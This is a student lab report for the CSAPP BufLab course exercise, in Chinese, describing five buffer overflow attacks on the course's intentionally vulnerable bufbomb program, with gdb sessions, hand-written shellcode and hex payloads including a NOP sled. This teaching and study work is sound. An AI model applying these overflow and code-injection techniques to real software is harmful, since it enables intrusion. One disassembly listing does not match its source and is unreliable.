HNU-计算机系统(CSAPP)实验四 BufLab

【实验目的】

1.通过本次实验熟悉IA-32调用约定和堆栈组织;

2.学习缓冲区溢出攻击原理,对实验室目录中的一个可执行文件应用一系列的缓冲区溢出攻击;

3.通过实验获得使用通常用于利用操作系统和网络服务器中的安全弱点的常用方法之一的第一手经验;

4.了解程序的运行时操作,并了解这种形式的安全弱点的本质,以便在编写系统代码时可以避免它。

【实验环境】

操作系统:Linux 64位

Ubuntu版本:Ubuntu20.04.06

gdb版本:GNU gdb 9.2

【实验准备】

打开Buflab文件夹,内容树状图如下所示:

Buflab
├── buflab-handout.tar.gz
├── buflab-writeup.pdf
├── mybuflab_solved.tar
└── Readme.txt

其中,

bufbomb 有缓冲区溢出漏洞的程序,是要攻击的文件;

makecookie 是基于个人 id 生成的身份数据;

hex2raw 可以让自己编写的漏洞代码转化为一个字符串的格式。

(1)生成用户cookie

首先对实验的buflab-handout.tar.gz压缩包进行解压,进入Buflab文件夹后终端输入指令如下:

tar zxvf buflab-handout.tar.gz

实验文件中bufbomb文件是一个有缓存区溢出漏洞的程序,hex2raw的作用是让自己编写的漏洞代码转化为一个字符串的格式。makecookie可以根据用户定义的userid生成唯一的cookie,这里定义我的userid为shaoshuai。

进入buflab-handout文件夹下执行下面命令,生成自己的专属cookie:

./makecookie id(It depends on you~)

生成的cookie为0x5cabb4e1 

(2)反汇编

将可执行文件bufbomb使用objdump -d反汇编指令生成汇编代码。因为内容过于冗长,所以将反汇编内容输入到bufbomb.txt文本文件中进行查看:

objdump -d bufbomb >bufbomb.txt

(3)查看getbuf函数C语言代码 

getbuf函数定义了一个长度为32的buf数组,用于缓冲区溢出覆盖。 

【实验内容】

(1)Level 0

题目要求

当 test 函数在调用 getbuf 函数时,本来这个程序会按照惯例返回 test 函数,但是我们要做的就是当 getbuf 函数执行 return 语句时跳转执行 smoke 的代码,而不是返回 test 函数。

smoke函数C语言代码如下:

实现原理

当getbuf函数在运行的时候,其会开辟一段栈帧,其中有一段是输入字符的缓冲区,我们只要输入超出缓冲区大小的字符串来把缓冲区填满,超出部分覆盖getbuf的返回地址,而这部分恰恰是用smoke的入口地址覆盖,这样当程序就不会正常返回而是根据你的返回地址跳转到返回地址对应的内容并执行。这题的关键需要确定栈的大小和需要覆盖的字节数。

实现过程

1.查看getbuf反汇编代码,观察其缓冲区情况。

由上述代码可知,输入字符串buf的存放位置为$ebp-0x28,这里从buf的起始地址到返回地址总共有44个字节。前40个字节(0x28)是存放正常输入的内容,Gets()从输入流中获取一个字符串,并将其存储到其目标地址(buf)。但是,Gets()无法确定buf是否足够大以存储整个输入。它只是复制整个输入字符串,可能会超出分配给buf的内存。只要我们再输入4个字节,就可以把保存的旧ebp覆盖。在44个字节后再输入4个字节,那么我们就可以把返回地址覆盖,要调用smoke函数,只要最后4个字节我们要填入smoke函数的起始地址就可以了;

根据我们以前学习的缓冲区溢出的相关知识,原理图如下:

2.查看smoke函数起始地址: 

这里依然使用gdb中的disassemble命令快速找到smoke函数。

smoke函数起始地址为0x08048e0a

3.新建一个文本文件,输入要填充的内容

新建一个txt文本文件,这里命名为level0.txt,

在这个文本文件中,一个空格表示一个字节。前面填充的44个字节随便输入,不影响最后结果。但后面的4个字节须输入smoke的返回地址。这里需要注意两点:

小端法输入。即低位在低地址,高位在高地址(低低高高)

不能输入0a,这个是换行的ASCII码,代表输入结束,会出现错误,如上图所示。所以我们输入0b或者0d、10来代替,也是跳到smoke函数里面去了,push %ebp 这一步不影响结果。

但是发现改成18及之后的地址就不行了。所以可以推测0x8048e10处的地址是评测时最不可缺少的地址。这一步将地址0x804a2fe复制到了0x4(%esp)处,

查看0x804a2fe处的值,如下:

所以这个字符串的匹配就是测试的依据,一定要包含这句汇编指令。这就是为什么0b或者0d、10可以,后面的都不行了的原因。

4.执行查看结果

最后执行:

./hew2raw <level0.txt|./bufbomb –u id

可以看到“Smoke!: You called smoke()”,说明执行getbuf后返回到smoke中执行,实现任务level0。

补充:在linux中,“|” 是管道符号,command1 | command2表示将第1个命令的执行结果作为第2个命令的输入传给command2。

(2)Level 1

题目要求

Level1的任务是让bufbombtest函数中调用getbuf,当getbuf执行return语句时跳转执行fizz的代码,而不是返回test函数。

与level0不同的是,level1将自己的cookie值作为参数传给fizz函数。

fizz函数C语言代码如下:

实现原理

我们要做的依然是将getbuf函数输入溢出,先输入44个无关字节,然后输入fizz函数的地址,让getbuf函数跳到fizz函数里面执行。但此时我们要注意的是fizz函数要传入参数,所以我们还要找到fizz函数传参的地址。

实现过程

1.查看fizz函数反汇编

根据反汇编代码可以看到,fizz函数的入口地址是0x8048daf。

2.找到fizz函数传参地址

fizz函数将(新的)ebp+8的地址里面内容传入该函数中。因为是通过缓冲区溢出直接执行fizz函数而不是call fizz函数,所以栈不会自动将返回地址压栈,所以新的ebp实际上比旧的ebp高了4个字节的地址,即参数应该放在 (旧的)%ebp+12 的位置。所以我们要在返回地址处输入fizz的地址,再输入4个无关字节,然后输入我们要传入的参数,该参数是我们自己的cookie。

栈帧缓冲区溢出后的栈帧说明
test()保存的返回地址test()保存的返回地址
test()保存的旧ebptest()保存的旧ebp
fizz()要调用的传入参数fizz()要调用的传入参数这里要改为我们的cookie才能匹配成功
4个字节4个字节随便填充
getbuf()保存的返回地址fizz建立的新的ebpfizz()函数执行的开始地址
getbuf()保存的旧ebpebp
buf()首地址buf()首地址输入数据从这里开始保存

 回到下面这张图,所以我们要在cookie地址之前填入:

40(-0x28(%ebp)中的0x28)+4(getbuf()保存的旧ebp)+4(getbuf()保存的返回地址)+4(四个随便填充的字节)=52个字节

3.新建一个文本文件,输入要填充的内容

新建level1.txt文本文件:

中间的45~48个字节是fizz函数的入口地址,为af 8d 04 08

最后的四个字节是我们的专属cookie,为e1 b4 ab 5c

4.执行查看结果 

输入以下命令:

./hex2raw < level1.txt | ./bufbomb -u shaoshuai

可以看到“Fizz!: You called fizz(0x5cabb4e1)”,说明执行getbuf后返回到fizz中,并将cookie作为参数执行,实现任务level1。 

(3)Level 2

题目要求

在我们执行test时,调用完getbuf不返回到test,而是执行bang函数,但该函数用到的参数是一个全局变量,在执行bang函数之前需要设计该全局变量为我们自己id的“cookie”。

bang函数C语言代码如下:

实现原理

通过前两题的方法来修改返回地址,通过自己编写汇编代码的方法来实现修改全局变量,但我们需要将汇编代码转为机器代码,然后写入到要输入的文本中。

实现过程

1.查看bang函数汇编代码

bang函数地址为0x08048d52,bang函数会使用到参数 global_value ,我们要做的就是把这个全局参数改为自己的 cookie 。 

2.找到全局变量global_value的位置

查看bang函数汇编代码,寻找需要传内容的代码行,找到上述汇编代码,可以确定,0x804d10c就是 global_value 的存储地址。

3.修改 global_value 这个全局变量,将其改为我们的cookie

因为没有函数可以供我们使用去修改内存的值,所以根据实验文档,我们需要自己编写一段汇编代码进行修改。使用下面指令:

vim change_value.s
# 编写的汇编代码
movl $0x5cabb4e1, 0x804d10c #将自己的cookie值利用mov指令立即数传值直接传到存储global_value的地址里面。
push $0x8048d52 #将bang入口地址压栈
ret             #返回到bang继续执行

4.将汇编代码转换为机器码

因为这个实验是通过字符输入的方式来进行的,所以我们还需要将汇编代码转换为机器码。 

shaoshuai@shaoshuai-virtual-machine:~/桌面/Buflab/buflab-handout$ gcc -m32 -c change_value.s
shaoshuai@shaoshuai-virtual-machine:~/桌面/Buflab/buflab-handout$ objdump -d change_value.o >change_value.d

生成的change_value.d文件内容如下:

change_value.o:     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	c7 05 0c d1 04 08 e1 	movl   $0x5cabb4e1,0x804d10c
   7:	b4 ab 5c 
   a:	68 52 8d 04 08       	push   $0x8048d52
   f:	c3                   	ret    

机器码的作用是执行到它时,修改全局变量的值并进入bang函数,执行getbuf函数的时候修改返回地址,使getbuf执行完毕后,继续执行这个函数,执行完这个函数就自动执行bang函数,完成了题目的要求。

5.将生成的机器码放入buf数组的首地址运行

通过gdb调试来查看buf首地址:

我们注意到这条指令:0x08049268 <+6>: lea -0x28(%ebp),%eax, getbuf() 函数中将-0x28(%ebp)值传给eax,这就是开辟栈帧的操作,为的就是后面的调用 Get() 函数后,用来读取40个字节。所以做完开辟栈帧这一步得到的eax其实就是 Get() 函数存放数据的首地址,我们要想程序读到我们自己写的机器码,就要程序跑到这个首地址去执行,所以我们要用于覆盖的返回地址的值就是0x556838c8 

也就是说,getbuf执行完后的返回地址改成buf的首地址,这样当在getbuf中调用ret返回时程序会跳转到buf处执行上面汇编代码的指令,出现ret时会跳转到bang函数中执行。

6.新建一个文本文件,输入要填充的内容

将前面输入部分改为自己的机器代码,当40个字节全部输入完之后,接着输入的内容会覆盖当前栈帧保存的ebp,将ebp的内容随便输入4个字节。也就是前面44个字节过后,接着输入的内容会覆盖返回地址,也就是这段程序结束后即将执行的下一条指令的地址,我们将返回地址用0x556838c8覆盖。

7.执行查看结果

输入下面命令:

./hex2raw < level2.txt | ./bufbomb -u shaoshuai

可以看到“Bang!: You set global_value to 0x5cabb4e1”,说明执行getbuf后返回到bang中,并将cookie的值赋给全局变量global_value作为参数执行,实现任务level2。 

(4)Level 3

题目要求

之前的几关我们是通过缓冲区溢出的方法跳入其他函数,而在本任务中我们希望 getbuf() 结束后回到 test() 原本的位置。在每次执行 getbuf 函数的时候,我们的返回值是1,这次我们需要将返回值设置为我们自己用户id的“ cookie ”;同时恢复原本 %ebp 的值,返回到 test 函数中继续执行。

test函数C语言代码如下:

实现原理

getbuf()函数在被调用时,程序的返回值被存储在%eax寄存器中,当getbuf()执行完,就会去%eax取值返回执行。因此,要想返回cookie,我们只要修改eax的值就可以。同上题一样,我们要修改函数的返回值,也要在栈上编写机器码。

实现过程

首先明确任务,我们需要做3件事:

①修改部分:

        将eax修改为自己的cookie;

②恢复部分:

(因为缓冲区溢出的过程把ebp的栈帧给冲掉(覆盖)了,就如同洪水决堤一般,我们需要恢复ebp栈帧才能保证test功能的正常使用。如果不返回test,那test的栈帧损坏了也没事,就像level2那样)

        改完后需将ebp修改回原来的ebp;(如果不修改,后面test函数调用ebp寄存器进行cmp比较时就会不匹配)

        将下一条指令的地址改回原来的下一条指令的地址。

1.查看test()汇编代码,追踪getbuf()函数的调用

test() 函数在0x8048e4b处调用 getbuf() 函数,返回地址为0x8048e500x8048e50是我们要恢复的下一条指令的地址。

2.恢复ebp寄存器的值

为了编写汇编代码,我们还需要知道要恢复的ebp寄存器的值,这个可以利用gdb调试来查看。

查看到ebp寄存器原先的值是0x55683920

观察上述调试指令,我们是在0x8048e4b处设置了一个断点,为什么呢?我们先看这个地址里面是那一条指令: 8048e4b: e8 12 04 00 00 call 8049262 <getbuf>,这是 test() 函数里面对 getbuf() 函数的调用指令,我们在此处设置断点,就是为了查看 getbuf() 函数调用之前的ebp的值,因为我们到时候要回到的 test() 这个函数,需要恢复原先的ebp寄存器的值,所以我们在此处设置断点。查看此时的ebp的值就是我们将要编写的汇编代码里面要给ebp赋的值。

3.编写汇编代码

shaoshuai@shaoshuai-virtual-machine:~/桌面/Buflab/buflab-handout$ vim level3.s

编写汇编代码,设置返回值为cookie,即0x5cabb4e1;恢复原来寄存器的值,也就是我们通过gdb中i r指令查看到的0x55683920;最后将getbuf下一条指令的地址压入栈中,返回。

# 汇编代码

movl $0x5cabb4e1, %eax   #设置返回值为cookie
movl $0x55683920, %ebp   #恢复原ebp的值
push $0x8048e50          #返回后下一条指令的地址
ret                      #返回

4.将汇编代码转换为机器码

执行以下命令:

shaoshuai@shaoshuai-virtual-machine:~/桌面/Buflab/buflab-handout$ gcc -m32 -c level3.s -o level3.o
shaoshuai@shaoshuai-virtual-machine:~/桌面/Buflab/buflab-handout$ objdump -d level3.o >level3.d

查看level3.d文件:

level3.o:     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	b8 e1 b4 ab 5c       	mov    $0x5cabb4e1,%eax
   5:	bd 20 39 68 55       	mov    $0x55683920,%ebp
   a:	68 50 8e 04 08       	push   $0x8048e50
   f:	c3                   	ret    

 5.新建一个文本文件,输入要填充的内容

vim level3.txt

返回地址之前仍然是那44个字节;返回地址仍然覆盖为数组buf的首地址,便于执行我们手动修改的汇编代码。level3.txt文件如下图所示:

6.执行查看结果 

输入命令:

./hex2raw < level3.txt | ./bufbomb -u shaoshuai

可以看到“Boom!: getbuf returned 0x5cabb4e1”,说明执行getbuf后返回值变为cookie的值,并成功返回到test函数中,实现任务level3。

方法二

既然需要修改ebp寄存器的值,而且我们知道,ebp作为栈底指针,就在返回地址的高4位地址处,所以我们可以在汇编代码中不对ebp做修改,后面填充文本文件时在41~44个字节处加入ebp的地址。

总得来说,

方法一是在这个代码里把 ebp 改为原 ebp,在我们最后填入 getbuf 的字符串中随意填 ebp ;

方法二是在这个代码里不对 ebp 作操作,而在我们最后填入 getbuf 的字符串中修改 ebp ;

新的汇编代码如下:

# 汇编代码

movl $0x5cabb4e1, %eax   #设置返回值为cookie
                         # 不修改ebp的值
push $0x8048e50          #返回后下一条指令的地址
ret                      #返回

生成的机器码如下:

level3_2.o:     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	b8 e1 b4 ab 5c       	mov    $0x5cabb4e1,%eax
   5:	bd 20 39 68 55       	mov    $0x55683920,%ebp
   a:	c3                   	ret    

修改后的level3_2.txt文本文件如下:

b8 e1 b4 ab 5c 68 50 8e 04 08 
c3 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 
20 39 68 55 c8 38 68 55

对比图如下: 

 运行结果也是正确的:

(5)Level 4

题目要求

这个实验是前面一个实验的进阶版,为了运行这个阶段,要使用“-n”指令进入“Nitro”模式,程序没有再调用 getbuf() ,而是调用了另一个函数 getbufn() ,在“Nitro”模式下,getbufn() 函数将被调用5次,每次调用的%ebp值都是不同的,我们要做的是将每次 getbufn() 的返回值都修改为我们用户id的“Cookie”值,并且在执行完之后恢复ebp的值,同时恢复返回地址,使其能够正常回到 testn() 函数中继续执行。

实现原理

对于这一题,我们实现的方法与前面的基本差不多,但本题增加了难度,本题要求我们进行5次的修改返回值并且进行5次的恢复ebp,但每次的ebp是不同的,所以难点就在于怎么样去确定每一次的ebp。

实现过程

首先明确任务,我们还是需要做之前的那3件事:

①修改部分:

        将eax修改为为自己的cookie;

②恢复部分:

        改完后需将ebp修改回原来的ebp;

        将下一条指令的地址改回原来的下一条指令的地址。

这样的事情程序会执行5次,其中修改部分每次都是一样的,但每一次分配给testn()函数的ebp是不同的,也就是说,我们不能像上一题一样直接将一个确定的地址赋值给ebp来还原ebp了。同时,Get()存储字符的首地址也在发生变化,我们也不能确定首地址在哪里,但是我们可以通过gdb调试得到每次的首地址。

栈帧位置
原testn()函数ebp
原testn()函数esp
getbufn()函数保存的返回地址
getbufn()函数保存的ebpgetbufn()栈帧ebp

1.查看testn函数汇编代码

可以看到,在testn()调用getbufn()之前除了保存旧栈帧操作之外,进行了一次压栈操作以及开辟0x24个空间的操作,压栈操作使栈底指针esp-0x4,sub操作又使esp-0x24,故而有ebp=esp+0x28。而当getbufn()函数执行结束关闭栈帧的时候,栈顶指针esp会回到原处,所以虽然我们不能通过直接将一个地址赋给ebp来还原栈底指针,但我们可以通过ebp=esp+0x28这个关系来将ebp还原。

2.寻找Get()函数保存输入的字符的首地址

下一个我们要解决的问题是找到Get()函数保存输入的字符的首地址,以便我们往其中写入攻击程序的机器码。当然,这个首地址是变化的。

查看getbufn()汇编代码,如下:

通过汇编代码,我们可以发现,getbufn()在调用Get()函数之前开辟了0x208个地址空间,即520个字节,这是Get()函数在这一关中正常读入的字节数。前面我们说过Get()函数每一次读入数据时首地址不同(首地址与getbufn()的栈帧位置相关,而后者是变化的),所以我们需要找到5次读入数据的首地址。

3.调试getbufn()函数,寻找每次存放数据首地址

上述调试就是在调用Get()函数之前设置断点(这里是在sub处),找出这一次存放数据的首地址的位置。因为调用Get()函数需要开辟0x208个地址空间,那么getbufn()函数的ebp与Get()函数存放数据的首地址就应该存在这样的关系:数组首地址=ebp-0x208,我们直接用 p/x ($ebp-0x208)查看首地址的位置。

4.重复5次上述操作,找出每次的数据存放首地址

(gdb) b *0x8049247
Breakpoint 1 at 0x8049247
(gdb) r -n -u shaoshuai
Starting program: /home/shaoshuai/桌面/Buflab/buflab-handout/bufbomb -n -u shaoshuai
Userid: shaoshuai
Cookie: 0x5cabb4e1

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$1 = 0x556836e8
(gdb) c
Continuing.
Type string:
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$2 = 0x556836f8
(gdb) c
Continuing.
Type string:        
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$3 = 0x55683748
(gdb) c
Continuing.
Type string:
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$4 = 0x55683718
(gdb) c
Continuing.
Type string:
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049247 in getbufn ()
(gdb) p/x ($ebp-0x208)
$5 = 0x55683738

在求出第一个ebp之后,输入c继续,会提示让你输入Type string,然后随便输入一个字符,继续之后便会爆炸。此时程序便跳到了第二次输入,循环五次这样的操作,我们一共获得5次输入时的ebp,求出对应首地址,如下表所示:

输入12345
首地址0x556836e80x556836f80x556837480x556837180x55683738

我们看到,首地址在发生变化,那我们要怎样才能确保程序正确跳到我们输入的机器码去运行呢?我们可以看到,首地址虽然在发生变化,但毕竟就是这几个数,而且最大与最小相差没有达到0x208,所以我们不能像上次那样将机器码放在文件首端,而是放在输入内容的后面部分。(原因在后面解释)

接着在机器码的前面填满空指令nop(对应机器码0x90,作用只是执行eip自增1,而不进行任何操作),即使前面任何一个地址作为首地址,也只是会先执行一段空指令,最终还会来到我们的机器码去执行。

当然,我们在填写输入内容的时候,最后要填的跳转地址可不是上面5个随便一个,而是要填最大那个,因为栈是从高地址向低地址增加的,这样可以确保每次程序无论怎么跳都能跳进你输入的内容里面。

5.编写汇编代码

vim level4.s

 level4.s文件内容如下(这里因为栈随机化,所以我们使用esp与ebp之间的关系来相对寻址):

# 汇编代码
movl $0x5cabb4e1 , %eax   #设置返回值为cookie
leal 0x28(%esp), %ebp    #恢复原ebp的值
push $0x8048ce2          #返回后下一条指令的地址
ret                      #返回

6.转换为机器码

shaoshuai@shaoshuai-virtual-machine:~/桌面/Buflab/buflab-handout$ gcc -m32 -c level4.s -o level4.o
shaoshuai@shaoshuai-virtual-machine:~/桌面/Buflab/buflab-handout$ objdump -d level4.o >level4.d

level4.d文件内容如下:

level4.o:     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	b8 e1 b4 ab 5c       	mov    $0x5cabb4e1,%eax
   5:	8d 6c 24 28          	lea    0x28(%esp),%ebp
   9:	68 e2 8c 04 08       	push   $0x8048ce2
   e:	c3                   	ret    

  7.新建一个文本文件,输入要填充的内容

vim level4.txt
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 

b8 e1 b4 ab 5c 8d 6c 24 28 68
e2 8c 04 08 c3 
48 37 68 55

由于缓冲区有520(0x208)个字节加上返回地址和原ebp,总共528个字节,除去上述机器码15个字节,返回地址4个字节,剩余509个字节用nop填充,对应ascii码为90。

组成:509个90 + 15字节的机器码 + 4字节的最大的返回地址(小端法)

经过尝试发现,因为最高地址和最低地址相差0x60(96)个字节,把机器码放在96个字节后面任何地方都可以,但是一旦放在95个字节,或者更前面,最低那个地址就读不到完整的机器码了,导致出错。

8.执行查看结果 

./hex2raw  < level4.txt -n | ./bufbomb -n -u shaoshuai

执行leve4时,需要加上-n。最后执行./hew2raw <level4.txt -n|./bufbomb –u –n shaoshuai可以看到连续5次输出“getbufn returned 0x5cabb4e1”,说明每次执行getbufn后返回值变为cookie的值,并成功返回到test函数中,实现任务level4。

【实验总结】

(1)遇到的问题和解决办法

1.刚开始计算esp时候经常忘记把push进来的4个字节给加上,后来经过重新看了一遍CSAPP第三章之后,遗忘的知识点大多都被复习起来了,做后面的level就顺手多了。

2.在level4的将汇编指令转换成机器码那一部分,因为忘记给我的cookie立即数加上“$”符号了,导致这个mov的机器码从b8变成了a1,也就是本来是取立即数的,结果取成了内存地址,导致输出错误。而且这个bug找了很长时间,所以说在徒手写汇编时还是要小心为上,一个符号都不能错。

A1
 MOV ax,[16位内存数值]

B8
 MOV ax,16位立即数值

(2)心得体会

1.五个难度依次增加的Level指导了如何利用缓冲区存在的漏洞执行操作,实现所需功能,同时也为防御缓冲区溢出攻击提供了思路。以前只知道修改返回地址,经过这个实验后明白了还可以利用到自己手搓的汇编代码,二者结合使用。

2.通过五个Level的实验,深入理解了内存溢出攻击的原理。相比于之前的讨论题,现在对缓冲区溢出攻击有了更为全面认识。

3.在实验过程中,综合运用了gcc、objdump等指令,对这些工具的用法更加熟悉,对函数调用、栈帧分配等相关知识进行了再一次的复习和回顾,把汇编指令这一章的内容,尤其是函数调用的内容复习了一遍。

4.在Level 3的实现上,探索了一种不使用mov $0x556839b0, %ebp来恢复%ebp的替代方法,即通过在覆盖旧的%ebp时使用test的原ebp值,同样达到了预期效果。也侧面说明了缓冲区溢出攻击的手段多种多样。

5.在运行和调试过程中,了解到'c'命令用于继续执行被调试程序,直到遇到下一个断点或程序结束。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/727191.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

企业如何做好供应链管理工作?8个步骤及应用详解!

供应链就是采购把东西买进来&#xff0c;生产去加工增值&#xff0c;物流去配送给客户&#xff0c;环环相扣&#xff0c;就形成了供应链。它是将供应商&#xff0c;制造商&#xff0c;分销商直到最终用户连成一个整体的功能网链结构。 而供应链管理就是做好每个环节的管理&…

4. Revit API UI: Ribbon(界面)

4. Revit API UI: Ribbon&#xff08;界面&#xff09; 第二篇中&#xff0c;我们提到了IExternalApplication&#xff0c;该接口需要实现两个方法&#xff1a;Revit启动时调用的OnStartup 方法&#xff0c;和Revit关闭时调研的OnShutdown 方法。文中还给了个例子&#xff0c;…

RTSP/Onvif安防监控平台EasyNVR抓包命令tcpdump使用不了的解决方法

安防视频监控汇聚EasyNVR智能安防视频监控平台&#xff0c;是基于RTSP/Onvif协议的安防视频平台&#xff0c;可支持将接入的视频流进行全平台、全终端分发&#xff0c;分发的视频流包括RTSP、RTMP、HTTP-FLV、WS-FLV、HLS、WebRTC等格式。平台可提供的视频能力包括&#xff1a;…

MySQL:表的增删查改

文章目录 1.Create(创建)2.Retrieve(读取、查询)2.1 SELECT 列2.2 WHERE 子句2.3 结果排序(order by)2.4 筛选分页结果(limit、offset)2.5 Update更新2.6 Delete删除2.7 去重 3.聚合函数3.1 聚合函数的基本使用3.2group by子句的使用(分组查询) 增删查改&#xff1a;: Create(创…

数据可视化如何革新智慧物流管理?

数据可视化在智慧物流中发挥了至关重要的作用&#xff0c;成为优化物流管理、提升效率和改善客户体验的关键工具。在现代物流行业中&#xff0c;面对海量数据的挑战&#xff0c;数据可视化技术通过将复杂数据转化为直观的图表、图形和仪表盘&#xff0c;帮助企业和管理者更有效…

国内出版社数字化资源的现状与挑战:一场未充分利用的数字转型

**概述&#xff1a;**在当前数字化高速发展的时代背景下&#xff0c;国内教育出版社在数字化资源的开发与应用上面临着诸多挑战和不足。本文将针对读者提出的问题和反馈&#xff0c;探讨国内教育出版社数字化资源存在的问题&#xff0c;并分析可能的原因和改进方向。 **正文&a…

ReF:斯坦福提出的新型语言模型微调方法

随着预训练语言模型&#xff08;LMs&#xff09;在各种自然语言处理&#xff08;NLP&#xff09;任务中的广泛应用&#xff0c;模型微调成为了一个重要的研究方向。传统的全参数微调方法虽然有效&#xff0c;但计算成本高昂&#xff0c;尤其是在大型模型上。为了解决这一问题&a…

ONLYOFFICE 文档 8.1 现已发布:功能全面的 PDF 编辑器、幻灯片版式等等

最新版本的 ONLYOFFICE 在线编辑器已经发布&#xff0c;整个套件带来了30多个新功能和432个 bug 修复。阅读本文了解全部更新。 什么是 ONLYOFFICE 文档 ONLYOFFICE 文档是一套功能强大的文档编辑器&#xff0c;支持编辑处理文本文档、电子表格、演示文稿、可填写的表单、PDF&…

LVS(Linux Virtual Server)集群,(1)NAT模式

Cluster&#xff1a;集群&#xff0c;为了解决某个特定问题将多台计算机组合起来形成的单个系统。 集群分为三种类型&#xff1a; LB(Load Balancing)&#xff0c;负载均衡&#xff0c;多个主机组成&#xff0c;每个主机只承担一部分访问请求 HA(High Availiablity)&#xf…

深入浅出Git原理与Gitflow流程

1 Git原理 版本控制系统在软件开发和团队协作中扮演着至关重要的角色。它们帮助开发人员跟踪和管理代码的变化&#xff0c;协调多人同时编辑同一代码库&#xff0c;回溯历史版本&#xff0c;并解决代码冲突等问题。Git作为当今最流行的分布式版本控制系统&#xff0c;为开发人…

“网安之夜”院校领导座谈会举行:共谋实战网络安全人才产教融合培养之道

6月15日&#xff0c;由网安世纪科技有限公司主办的“网安之夜”院校领导座谈会在河北省唐山市圆满举行。本次活动旨在汇聚教育界与产业界智慧&#xff0c;共同构建紧密协作机制&#xff0c;搭建产教融合、校企合作平台&#xff0c;探索网络安全人才培养新模式&#xff0c;培养具…

植物神经紊乱,如何寻回内心的宁静

&#x1f338;在这个快节奏的时代&#xff0c;许多朋友都可能遭遇植物神经紊乱的困扰&#xff0c;它如同一个隐形的小恶魔&#xff0c;悄悄偷走我们的安宁与快乐。那么&#xff0c;面对这样的挑战&#xff0c;我们又该如何放松心情&#xff0c;寻回那份久违的宁静呢&#xff1f…

Pytorch构建vgg16模型

VGG-16 1. 导入工具包 import torch.optim as optim import torch import torch.nn as nn import torch.utils.data import torchvision.transforms as transforms import torchvision.datasets as datasets from torch.utils.data import DataLoader import torch.optim.lr_…

git中的多人协作开发场景

✨前言✨ &#x1f4d8; 博客主页&#xff1a;to Keep博客主页 &#x1f646;欢迎关注&#xff0c;&#x1f44d;点赞&#xff0c;&#x1f4dd;留言评论 ⏳首发时间&#xff1a;2024年6月20日 &#x1f4e8; 博主码云地址&#xff1a;博主码云地址 &#x1f4d5;参考书籍&…

如何使用SQL工具批量执行SQL文件?(以MySQL和SQLynx为例)

目录 1. 配置MySQL数据源 2. 打开 SQL 文件 3. 执行 SQL 文件 4. 检查执行结果 5. SQL文件示例 6. 注意事项 7. 总结 在现代数据库管理和操作中&#xff0c;批量执行 SQL 文件在 MySQL 中显现出其巨大的价值和不可替代的作用。通过将多个 SQL 语句集成在一个文件中进行批…

粉尘螨虫满天飞?教你一招解决,推荐好用的空气净化器品牌

“家中无尘&#xff0c;心中无事”&#xff0c;这是每个家庭的理想状态。然而&#xff0c;灰尘和螨虫无处不在&#xff0c;即使每天打扫&#xff0c;也难以彻底消除。传统的清洁手段&#xff0c;比如扫地和擦灰&#xff0c;并不能从根本上解决问题。这时候&#xff0c;除尘空气…

一款Wordpress网站导航主题,带昼夜切换功能

Wordpress网站导航主题&#xff0c;带昼夜切换功能。 基于wordpress&#xff0c;部署和使用都比较方便。 界面比较简洁大方。后台管理功能也比较全面&#xff0c;值得一试。 这款主题界面、功能都非常简洁。 作者把这款定位为简约导航主题&#xff0c;所以这款wordpress导航…

如何获得一个Oracle 23ai数据库(vagrant box)

